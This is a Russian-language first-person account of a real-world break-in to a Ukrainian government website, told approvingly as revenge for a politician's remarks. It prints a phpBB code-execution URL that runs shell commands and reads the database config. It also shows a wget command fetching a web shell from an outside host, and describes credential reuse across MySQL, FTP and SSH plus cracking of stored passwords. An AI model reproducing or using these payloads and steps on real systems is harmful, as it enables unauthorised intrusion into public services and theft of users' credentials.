Однажды, посмотрев вечерний выпуск новостей, я жутко разозлился. Там какой-то крутой перец из правительства
назежал на свободу слова (выборы, выборы …). Мне как раз нужен был повод для нового взлома, так вот он, вот...
В Google я набрал inurl:”.gov.ua” и мне представился список жертв.
Жертвой я выбрал один правительственный портал (посещаемость 200-400 уникальных посетителей в день), публикующий законы и еще что-то. Сайт был написан грамотно, если так можно выразится. Никакого php-include не было, с ковырянием MySQL так же ничего не вышло, nmap ничего вразумительного не выдал, на сервере стоял
файрвол. Уже хотелось забить на сервер, но тот чел меня реально разозлил. Я полез в /admin. Ничего особенного - введите имя и пароль. После нехитрого автоматического подбора имени и пароля я был в админ-зоне. Я прошел по паре test:test :). А вот админка была интересная, ну к примеру «Опубликовать закон». Сразу возникло желание опубликовать все мои мысли о правительстве.
Но с такой админкой все равно не удалось получить шелл. Не помогли и
забитые в текст новости. Я полез в папку /forum/. Передо мной красовался PHPBB 2.0.9 во всей своей стандартной красоте. Форум был пропатчен, так что никакие SQL-Injections не проходили. Но вдруг я вспомнил упоминание моего товарища о
дырке в PHPBB <= 2.0.10 (последний релиз на тот момент). Эксплоита в то время разумеется не было в публичных источниках (он появился через неделю ).
http://www.***.gov.ua/forum/viewtopic.php?p=1 &highlight=%2527.$poster=$dbpass.%2527
На первый взгляд возможность обычной SQL-Injections, но только на первый :).
Немного подумав я смодифицировал код:
http://www.***.gov.ua/forum/viewtopic.php?p=123&highlight=%2527.$poster=
%60$ls%60.%2527&ls=id;ls –la;cat config.php|grep db;uname –a;
Все команды удачно выполнились. Наконец-то – подумал я. Но опять облом. В текущую папку писать запрещалось, а в /tmp/ мне не нужно было. На запись оказался доступен лишь один каталог temp. Это меня немного огорчило. К тому времени мною был написан удобный скрипт удаленного управления сайтом через WEB интерфейс. Залив и запустив его я мог теперь удобно ковыряться в системе:
wget http://page.narod.ru/nr.php
Быстро узнав нужную мне информацию о системе я начал искать параметры подключения к базе данных. На серваке был вырублен find, поэтому пришлось искать ручками. Посмотрев список сайтов на сервере, была обнаружена папка phpmyadmin, там размещался пакет скриптов для администрирования MySQL. Просмотрев config.inc.php я обнаружил, что на root в MySQL не установлено пароля. Скопировав phpmyadmin в каталог
temp я зашел на http://www.***.gov.ua/temp/phpmyadmin и получил доступ ко всей базе данных. Мне стало интересно
- если так защищена база данных, то что еще придумал админ. Далее было найдено юзерский логин и пароль к БД в конфигурационном файле сайта. Пароль был достаточно сложным, это давало
повод думать о совпадении пароля с FTP аккаунтом. И пароль подошел! Я без проблем зашел на FTP. Все ясно – /etc/shadow/ используется на все сервисы. Можно тогда зайти на SSH. Я запустил Putty и приконнектился. Логин и пароль совпали. Далее последовала расшифровка паролей в БД. Все они подошли. Кстати, для расшифровки использовался нехитрый сценарий на языке
С. Я просто скомпилировал сценарий и запустил его на том же сервере (наглость – второе счастье). К сожалению, получить права root так и не удалось. Но у меня были пароли от всех сайтов сервера, а они, так или иначе, имели дело с правительством.